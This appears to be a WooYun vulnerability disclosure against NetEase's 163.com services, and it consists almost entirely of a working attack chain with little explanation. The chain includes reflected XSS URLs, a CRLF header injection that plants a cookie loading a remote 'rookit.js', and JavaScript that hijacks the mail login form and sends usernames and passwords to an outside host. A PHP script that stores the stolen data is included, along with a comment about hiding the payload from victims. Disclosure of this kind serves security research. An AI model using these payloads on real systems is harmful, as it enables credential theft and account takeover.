WooYun.org

<img src=1 onerror="with(document)body.appendChild(createElement('script')).src='//txt888.sinaapp.com/test.js?31'">:-1:1

http://m.auto.163.com/title/compare/000BNOUZ,000BNeDG,000BWPNE.html?type=selectseries"><script src="//txt888.sinaapp.com/js.js"></script>&series_name=%E5%A5%94%E9%A9%B0G%20AMG&series_id=16354&first=true

function fSetCookie(c, e, d) {
    var a = ";domain=" + d +";path=/" ;
    document.cookie = c + "=" + e + a + ";expires=" + new Date(2099, 12, 31).toGMTString();
}
fSetCookie("nts_mail_user","<img src=1 onerror=\"with(document)body.appendChild(createElement('script')).src='//txt888.sinaapp.com/test.js?31'\">:-1:1",".163.com")

function login_1(){
    a = new Image();
    a.src = "http://txt888.sinaapp.com/form_save.php?user=" + document.getElementById("idInput").value + "&password=" + document.getElementById("pwdInput").value; 
    window.location.href=window.location.href;
    return true;
}
document.getElementById("idInput").value=""; //设置历史用户名为空,不设置为那一串攻击代码，修改防止露馅。
document.getElementById('idInputTest').innerHTML = '';
document.getElementById("login163").setAttribute("onsubmit","login_1();");//给登录框添加onsubmit事件
fSetCookie("nts_mail_user",document.getElementById("idInput").value + ":-1:0");//复原

<?php
function insert($data){
    $mysql = new SaeMysql();
    $sql = "insert into 163_test(`data`,`time`) values('$data',now())";
    $mysql->runsql($sql);
    $mysql->closeDb();
    if ($mysql->errno() != 0){
    	die("Error:" . $mysql->errmsg());
	}
}
if (count($_GET)>=1){
    $data = json_encode($_GET);
	insert($data);
    echo 1;
}
?>

http://m.auto.163.com/title/compare/000BNOUZ,000BNeDG,000BWPNE.html?type=selectseries"><script 
src="//txt888.sinaapp.com/js.js?555"></script>&series_name=%E5%A5%94%E9%A9%B0G%20AMG&series_id=16354&first=true

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:test%3d123123&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh

<img src="//reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh">

http://reg.163.com/reg/reg.jsp?locale=cn_ZH%0aset-cookie:%20nts_mail_user%3d%3Cimg%20src%3D1%20onerror%3D%22with%28document%29body.appendChild%28createElement%28%27script%27%29%29.src%3D%27%2f%2ftxt888.sinaapp.com%2frookit.js%3F31%27%22%3E%3A-1%3A1;&product=rms&url=http://art.campus.163.com/applyJob.do?lan=zh&loginurl=http://art.campus.163.com/applyJob.do?lan=zh#.jpg